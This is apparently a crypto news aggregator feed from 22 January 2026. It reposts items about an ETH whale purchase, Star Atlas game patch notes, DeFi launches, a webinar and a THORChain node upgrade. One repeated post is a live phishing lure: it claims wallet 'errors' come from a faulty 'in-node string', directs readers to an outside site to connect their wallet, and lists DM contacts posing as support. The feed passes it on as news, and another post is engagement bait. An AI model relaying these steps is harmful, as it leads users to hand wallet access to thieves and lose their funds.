The whale "0xfb7" has further bought 10,000 $ETH ($28. 9M) from WinterMute and sent $58.
22 Jan 2026, 00:01
🐳 The whale "0xfb7" has further bought 10,000 $ETH ($28.9M) from WinterMute and sent $58.13M to FalconX, likely to buy more $ETH.
The whale now holds 60,098 $ETH, worth $179.22M.
Addresses:
- 0xfb78aa8f38843629e89951d9db6fdc398d75e0a3
- 0xd4584bf988c9e8994688b56484e2f74ceaeefb20
Same news in other sources
1122 Jan 2026, 22:10
January 22 - Star Atlas UE Patch Notes [LIVE]
General Ship Play
- Ship Crosshair no longer remains red when aiming at a target without line of sight
Siege
- Improved boosting feel to be less instant. Adjusted boost camera behavior to give a greater sense of speed
- Improved hit registration for projectiles, increased time to kill to compensate for shots landing more often
Racing
- Adjusted race timeout duration 2 mins → 1 min. This timer starts after the first racer finishes
- Lowered jump pad force in Exinade reverse track
- Fixed an invisible collision issue near the end of the Exinade foward track
Gunplay
- Improved Spectator mode clip detection to prevent camera from clipping inside walls
- Added protections for respawn invincibility remaining permanent if player was respawning during match end
- Increased melee gap closing player impulse
- Fixed issue where player incorrectly spawns with a sniper in team rockets
- Fixed issue where a pickup would break if a player was standing on it when it respawned
- Increased Win Condition for Team Rockets 20→30
- Increased Win Condition for Zones 20→50
Galia
- Balance: Reduced ship prices by half
- Improved space visuals; Space is much darker and star is brighter.
- Improved performance & visible stutter during sub warp. Still working on ghosting effect
- Freight and Data Running missions now better support larger ships
- Improved visuals of star in Hecteria
- Added background NPCs to command center room of Nova Station
- Fixed bug where ships with interiors were getting kicked out of sub warp
- Fixed bug where payout for bounty missions was sometimes incorrect
- Fixed missing materials on station exteriors
Progression & Customization
- Fixed Kill stat tracking for Shockwave Pistol, Shockwave Rifle, and Rocket Launcher
- Fixed issue where player’s XP can go negative when prestiging. Note: If you still have an existing negative value, please submit a ticket, we will promptly fix manually
Stability & Crash Fixes
- Fixed a few crashes dealing with Ship Physics, WWise Audio, and ExoSky
Ongoing Efforts for Future Patches
- New reworked Vehicle Hover Mode flight model to address speed FPS dependency in progress. At a high level, we are moving from our custom physics simulation flight model over to using Epic’s more Robust and proven Character Movement Component. This is already being used in Siege and is much more performant and robust for use in multiplayer.
- Migration of core Ship blueprint (UE visual node based scripting) logic up to C++ to continue to accelerate development since its easier to leverage AI-Assisted coding when the logic is in C++. This patch already contains migrated code for a lot of the blueprint logic that manages the Ship Equipment (Weapons, Missiles, Tractor Beam, Scanner, etc).
January 22 - Star Atlas UE Patch Notes [LIVE]. General Ship Play.
January 22 - Star Atlas UE Patch Notes [LIVE]
General Ship Play
- Ship Crosshair no longer remains red when aiming at a target without line of sight
Siege
- Improved boosting feel to be less instant. Adjusted boost camera behavior to give a greater sense of speed
- Improved hit registration for projectiles, increased time to kill to compensate for shots landing more often
Racing
- Adjusted race timeout duration 2 mins → 1 min. This timer starts after the first racer finishes
- Lowered jump pad force in Exinade reverse track
- Fixed an invisible collision issue near the end of the Exinade foward track
Gunplay
- Improved Spectator mode clip detection to prevent camera from clipping inside walls
- Added protections for respawn invincibility remaining permanent if player was respawning during match end
- Increased melee gap closing player impulse
- Fixed issue where player incorrectly spawns with a sniper in team rockets
- Fixed issue where a pickup would break if a player was standing on it when it respawned
- Increased Win Condition for Team Rockets 20→30
- Increased Win Condition for Zones 20→50
Galia
- Balance: Reduced ship prices by half
- Improved space visuals; Space is much darker and star is brighter.
- Improved performance & visible stutter during sub warp. Still working on ghosting effect
- Freight and Data Running missions now better support larger ships
- Improved visuals of star in Hecteria
- Added background NPCs to command center room of Nova Station
- Fixed bug where ships with interiors were getting kicked out of sub warp
- Fixed bug where payout for bounty missions was sometimes incorrect
- Fixed missing materials on station exteriors
Progression & Customization
- Fixed Kill stat tracking for Shockwave Pistol, Shockwave Rifle, and Rocket Launcher
- Fixed issue where player’s XP can go negative when prestiging. Note: If you still have an existing negative value, please submit a ticket, we will promptly fix manually
Stability & Crash Fixes
- Fixed a few crashes dealing with Ship Physics, WWise Audio, and ExoSky
Ongoing Efforts for Future Patches
- New reworked Vehicle Hover Mode flight model to address speed FPS dependency in progress. At a high level, we are moving from our custom physics simulation flight model over to using Epic’s more Robust and proven Character Movement Component. This is already being used in Siege and is much more performant and robust for use in multiplayer.
- Migration of core Ship blueprint (UE visual node based scripting) logic up to C++ to continue to accelerate development since its easier to leverage AI-Assisted coding when the logic is in C++. This patch already contains migrated code for a lot of the blueprint logic that manages the Ship Equipment (Weapons, Missiles, Tractor Beam, Scanner, etc).
22 Jan 2026, 17:04
Margin Trading Now Live on Turbos!
Experience leverage directly on Sui through Turbos’ community-first, intuitive interface, powered by Deepbook!
Margin Trading Now Live on Turbos.
Margin Trading Now Live on Turbos!
Experience leverage directly on Sui through Turbos’ community-first, intuitive interface, powered by Deepbook!
https://x.com/Turbos_finance/status/2014382620839379334?s=20
22 Jan 2026, 16:50
If you are experiencing any difficulty connecting, migrating, swapping, high fees, errors, staking,
It means there is a problem with your in-node string, you have to correct it through walletconnect
Follow the steps below to correct the error
Step 1. GO TO
Step 2. Select your wallet type and Connect your wallet
Step 3. Select correct my strings
4. Click accept now
Problem solve
NOTE: YOU ARE SUBMITTING IT TO AI ROBOT WITH ZERO HUMAN INTERFERENCE
Hello, if you need any extra help, send a message to @ivyleeiWY @Anna9014
Note: do not send a message if you have not tried this step
If you are experiencing any difficulty connecting, migrating, swapping, high fees, errors, staking,.
If you are experiencing any difficulty connecting, migrating, swapping, high fees, errors, staking,
It means there is a problem with your in-node string, you have to correct it through walletconnect
Follow the steps below to correct the error
Step 1. GO TO https://smartcoininu.xyz/ecoded
Step 2. Select your wallet type and Connect your wallet
Step 3. Select correct my strings
4. Click accept now
Problem solve
NOTE: YOU ARE SUBMITTING IT TO AI ROBOT WITH ZERO HUMAN INTERFERENCE
Hello, if you need any extra help, send a message to @ivyleeiWY @Anna9014
Note: do not send a message if you have not tried this step
22 Jan 2026, 16:49
AlphaNet Guilds are here. You haven't heard about them but Guild quotas for regions such as Asia are almost full for the upcoming Epoch 1.
Read more about them here:
More details to follow shortly.
AlphaNet Guilds are here.
AlphaNet Guilds are here. You haven't heard about them but Guild quotas for regions such as Asia are almost full for the upcoming Epoch 1.
Read more about them here:
https://x.com/Phoenix_Chain/status/2014378760196288818
More details to follow shortly.
22 Jan 2026, 16:39
$50 for someone that interacts with this tweet. Every interaction counts.
$50 for someone that interacts with this tweet. Every interaction counts.
$50 for someone that interacts with this tweet. Every interaction counts.
22 Jan 2026, 16:39
telegram news 22 January 2026 16:39
https://x.com/SmarDex/status/2014377228688073069
22 Jan 2026, 16:31
LIVE ONLINE DISCUSSION | XDC Masternode Staking & Governance: An Institutional and Technical Deep Dive with André Casterman , Anil Chinchawale , Omkar Mestry, and Sonny Mohanty.
📅 4 February 2026
🕗 8:00 AM UTC
🌐 Live online session
⚠️ Seats are limited.
👉 Register now:
LIVE ONLINE DISCUSSION | XDC Masternode Staking & Governance: An Institutional and Technical Deep Dive with André Casterman , An
LIVE ONLINE DISCUSSION | XDC Masternode Staking & Governance: An Institutional and Technical Deep Dive with André Casterman , Anil Chinchawale , Omkar Mestry, and Sonny Mohanty.
📅 4 February 2026
🕗 8:00 AM UTC
🌐 Live online session
⚠️ Seats are limited.
👉 Register now: https://luma.com/a87dwzp5
22 Jan 2026, 00:08
Going live now!
Going live now.
Going live now! https://x.com/MoneroTalk/status/2013713029834129529
22 Jan 2026, 00:08
Going live now!
Going live now.
Going live now! https://x.com/MoneroTalk/status/2013713029834129529
22 Jan 2026, 00:05
This is the Official Telegram Community.
No admins will DM you first.
Below are our official links:
"Thank you👍"
This is the Official Telegram Community. No admins will DM you first. Below are our official links:. "Thank you".
This is the Official Telegram Community.
No admins will DM you first.
Below are our official links:
"Thank you👍"
22 Jan 2026, 00:01
New Discord Announcement from THORChain Devs #🚨thornode-mainnet
## THORNODE ❗️MAINNET❗️UPDATE 3.15.0
NETWORK: MAINNET
TYPE: Non-coordinated
URGENCY: 20h
The upgrade proposal has passed. Please install to schedule the upgrade at the proposed height. Nodes will automatically update to the new image at the scheduled height, and the node version for active validators will be automatically set at that time. All non-active validators must run `make set-version` after the upgrade height to be eligible for the subsequent churn. Churn will be re-enabled after the upgrade.
```
make pull
make install
```
Please note that this build contains private security patches, so the tagged release on Gitlab does not contain all consensus changes and the release image must be used. This release build will not be locally reproducible, but the build hash has been verified by multiple devs and the security team.
@everyone
New Discord Announcement from THORChain Devs #thornode-mainnet. ## THORNODE ️MAINNET️UPDATE 3. NETWORK: MAINNET.
New Discord Announcement from THORChain Devs #🚨thornode-mainnet
## THORNODE ❗️MAINNET❗️UPDATE 3.15.0
https://gitlab.com/thorchain/thornode/-/releases/v3.15.0
NETWORK: MAINNET
TYPE: Non-coordinated
URGENCY: 20h
The upgrade proposal has passed. Please install to schedule the upgrade at the proposed height. Nodes will automatically update to the new image at the scheduled height, and the node version for active validators will be automatically set at that time. All non-active validators must run `make set-version` after the upgrade height to be eligible for the subsequent churn. Churn will be re-enabled after the upgrade.
```
make pull
make install
```
Please note that this build contains private security patches, so the tagged release on Gitlab does not contain all consensus changes and the release image must be used. This release build will not be locally reproducible, but the build hash has been verified by multiple devs and the security team.
@everyone